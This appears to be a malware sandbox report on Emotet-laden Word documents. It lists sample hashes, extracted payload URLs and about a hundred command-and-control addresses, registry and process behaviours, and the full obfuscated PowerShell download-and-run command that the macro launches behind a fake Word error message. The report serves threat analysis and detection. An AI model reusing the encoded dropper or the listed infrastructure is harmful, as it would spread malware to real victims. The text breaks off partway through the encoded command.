Overview
overview
10Static
static
80159.doc
windows7_x64
100159.doc
windows10_x64
1005504-122020.doc
windows7_x64
1005504-122020.doc
windows10_x64
102180_182_7373.doc
windows7_x64
102180_182_7373.doc
windows10_x64
1054909729_2...20.doc
windows7_x64
1054909729_2...20.doc
windows10_x64
1084813.doc
windows7_x64
1084813.doc
windows10_x64
10ARCHIVOFile.doc
windows7_x64
10ARCHIVOFile.doc
windows10_x64
10Archivo-12...53.doc
windows7_x64
10Archivo-12...53.doc
windows10_x64
10DAT_2020.doc
windows7_x64
10DAT_2020.doc
windows10_x64
10DAT_2112.doc
windows7_x64
10DAT_2112.doc
windows10_x64
1Documento-8-92514.doc
windows7_x64
10Documento-8-92514.doc
windows10_x64
10Info_29.doc
windows7_x64
10Info_29.doc
windows10_x64
10MENSAJE.doc
windows7_x64
10MENSAJE.doc
windows10_x64
10T184213_2020.doc
windows7_x64
10T184213_2020.doc
windows10_x64
10Analysis
-
max time kernel
137s -
max time network
131s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-03-2021 16:01
Static task
static1
Behavioral task
behavioral1
Sample
0159.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
0159.doc
Resource
win10v20201028
Behavioral task
behavioral3
Sample
05504-122020.doc
Resource
win7v20201028
Behavioral task
behavioral4
Sample
05504-122020.doc
Resource
win10v20201028
Behavioral task
behavioral5
Sample
2180_182_7373.doc
Resource
win7v20201028
Behavioral task
behavioral6
Sample
2180_182_7373.doc
Resource
win10v20201028
Behavioral task
behavioral7
Sample
54909729_21_122020.doc
Resource
win7v20201028
Behavioral task
behavioral8
Sample
54909729_21_122020.doc
Resource
win10v20201028
Behavioral task
behavioral9
Sample
84813.doc
Resource
win7v20201028
Behavioral task
behavioral10
Sample
84813.doc
Resource
win10v20201028
Behavioral task
behavioral11
Sample
ARCHIVOFile.doc
Resource
win7v20201028
Behavioral task
behavioral12
Sample
ARCHIVOFile.doc
Resource
win10v20201028
Behavioral task
behavioral13
Sample
Archivo-122020-481-4753.doc
Resource
win7v20201028
Behavioral task
behavioral14
Sample
Archivo-122020-481-4753.doc
Resource
win10v20201028
Behavioral task
behavioral15
Sample
DAT_2020.doc
Resource
win7v20201028
Behavioral task
behavioral16
Sample
DAT_2020.doc
Resource
win10v20201028
Behavioral task
behavioral17
Sample
DAT_2112.doc
Resource
win7v20201028
Behavioral task
behavioral18
Sample
DAT_2112.doc
Resource
win10v20201028
Behavioral task
behavioral19
Sample
Documento-8-92514.doc
Resource
win7v20201028
Behavioral task
behavioral20
Sample
Documento-8-92514.doc
Resource
win10v20201028
Behavioral task
behavioral21
Sample
Info_29.doc
Resource
win7v20201028
Behavioral task
behavioral22
Sample
Info_29.doc
Resource
win10v20201028
Behavioral task
behavioral23
Sample
MENSAJE.doc
Resource
win7v20201028
Behavioral task
behavioral24
Sample
MENSAJE.doc
Resource
win10v20201028
Behavioral task
behavioral25
Sample
T184213_2020.doc
Resource
win7v20201028
Behavioral task
behavioral26
Sample
T184213_2020.doc
Resource
win10v20201028
General
-
Target
54909729_21_122020.doc
-
Size
201KB
-
MD5
860d2dae30c61fc8b374685a2726d089
-
SHA1
5d34c3b40f1980215827abba54d57929776dab2d
-
SHA256
af46527c3afb67db04896d6a01ed9457d9c379af2c130e26ff3b2ff9a5cd2639
-
SHA512
590b5ca22762a073c8ab7701b5f2a0949625dbbcb6461ab5eac5022c66197a68523a6717e139e27bc1d93461ca95ee66cd83f45851b5e2cea6087793f6595996
Malware Config
Extracted
http://zhongshixingchuang.com/wp-admin/OTm/
http://www.greaudstudio.com/docs/FGn/
http://koreankidsedu.com/wp-content/2cQTh/
http://expeditionquest.com/X/
https://suriagrofresh.com/serevers/MVDjI/
http://geoffoglemusic.com/wp-admin/x/
https://dagranitegiare.com/wp-admin/jCH/
Extracted
emotet
Epoch1
184.66.18.83:80
202.187.222.40:80
167.71.148.58:443
211.215.18.93:8080
1.234.65.61:80
80.15.100.37:80
155.186.9.160:80
172.104.169.32:8080
110.39.162.2:443
12.162.84.2:8080
181.136.190.86:80
68.183.190.199:8080
191.223.36.170:80
190.45.24.210:80
81.213.175.132:80
181.120.29.49:80
82.76.111.249:443
177.23.7.151:80
95.76.153.115:80
93.148.247.169:80
51.255.165.160:8080
213.52.74.198:80
178.250.54.208:8080
202.134.4.210:7080
138.97.60.141:7080
94.176.234.118:443
190.24.243.186:80
46.43.2.95:8080
197.232.36.108:80
77.78.196.173:443
59.148.253.194:8080
212.71.237.140:8080
46.101.58.37:8080
110.39.160.38:443
83.169.21.32:7080
189.2.177.210:443
81.214.253.80:443
51.15.7.145:80
172.245.248.239:8080
177.85.167.10:80
178.211.45.66:8080
5.196.35.138:7080
71.58.233.254:80
168.121.4.238:80
149.202.72.142:7080
185.183.16.47:80
191.241.233.198:80
209.236.123.42:8080
190.114.254.163:8080
70.32.84.74:8080
138.97.60.140:8080
68.183.170.114:8080
192.232.229.53:4143
62.84.75.50:80
113.163.216.135:80
46.105.114.137:8080
177.144.130.105:8080
192.232.229.54:7080
192.175.111.212:7080
35.143.99.174:80
81.215.230.173:443
1.226.84.243:8080
187.162.248.237:80
152.169.22.67:80
137.74.106.111:7080
191.182.6.118:80
181.61.182.143:80
202.79.24.136:443
50.28.51.143:8080
85.214.26.7:8080
170.81.48.2:80
111.67.12.222:8080
177.144.130.105:443
188.225.32.231:7080
185.94.252.27:443
12.163.208.58:80
191.53.80.88:80
87.106.46.107:8080
122.201.23.45:443
181.30.61.163:443
104.131.41.185:8080
190.195.129.227:8090
45.184.103.73:80
186.146.13.184:443
45.16.226.117:443
187.162.250.23:443
2.80.112.146:80
60.93.23.51:80
24.232.228.233:80
190.251.216.100:80
105.209.235.113:8080
217.13.106.14:8080
190.64.88.186:443
118.38.110.192:80
111.67.12.221:8080
201.75.62.86:80
70.32.115.157:8080
188.135.15.49:80
Extracted
emotet
LEA
80.158.3.161:443
80.158.51.209:8080
80.158.35.51:80
80.158.63.78:443
80.158.53.167:80
80.158.62.194:443
80.158.59.174:8080
80.158.43.136:80
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 812 3488 cmd.exe 15 -
Blocklisted process makes network request 5 IoCs
flow pid Process 16 3668 powershell.exe 40 3500 rundll32.exe 41 3500 rundll32.exe 45 3500 rundll32.exe 46 2624 rundll32.exe -
Loads dropped DLL 2 IoCs
pid Process 3176 rundll32.exe 1796 rundll32.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Phvn\slfj.arc rundll32.exe File opened for modification C:\Windows\SysWOW64\Phvn\slfj.arc rundll32.exe File created C:\Windows\SysWOW64\Phvn\xlzkiem.dll rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1308 WINWORD.EXE 1308 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 3500 rundll32.exe 1796 rundll32.exe 1796 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3668 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 812 wrote to memory of 2480 812 cmd.exe 77 PID 812 wrote to memory of 2480 812 cmd.exe 77 PID 812 wrote to memory of 3668 812 cmd.exe 78 PID 812 wrote to memory of 3668 812 cmd.exe 78 PID 3668 wrote to memory of 652 3668 powershell.exe 80 PID 3668 wrote to memory of 652 3668 powershell.exe 80 PID 652 wrote to memory of 3176 652 rundll32.exe 81 PID 652 wrote to memory of 3176 652 rundll32.exe 81 PID 652 wrote to memory of 3176 652 rundll32.exe 81 PID 3176 wrote to memory of 3500 3176 rundll32.exe 83 PID 3176 wrote to memory of 3500 3176 rundll32.exe 83 PID 3176 wrote to memory of 3500 3176 rundll32.exe 83 PID 3500 wrote to memory of 1796 3500 rundll32.exe 88 PID 3500 wrote to memory of 1796 3500 rundll32.exe 88 PID 3500 wrote to memory of 1796 3500 rundll32.exe 88 PID 1796 wrote to memory of 2624 1796 rundll32.exe 89 PID 1796 wrote to memory of 2624 1796 rundll32.exe 89 PID 1796 wrote to memory of 2624 1796 rundll32.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\54909729_21_122020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1308
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAYwBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwACcAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoACcASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵PID:2480
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAY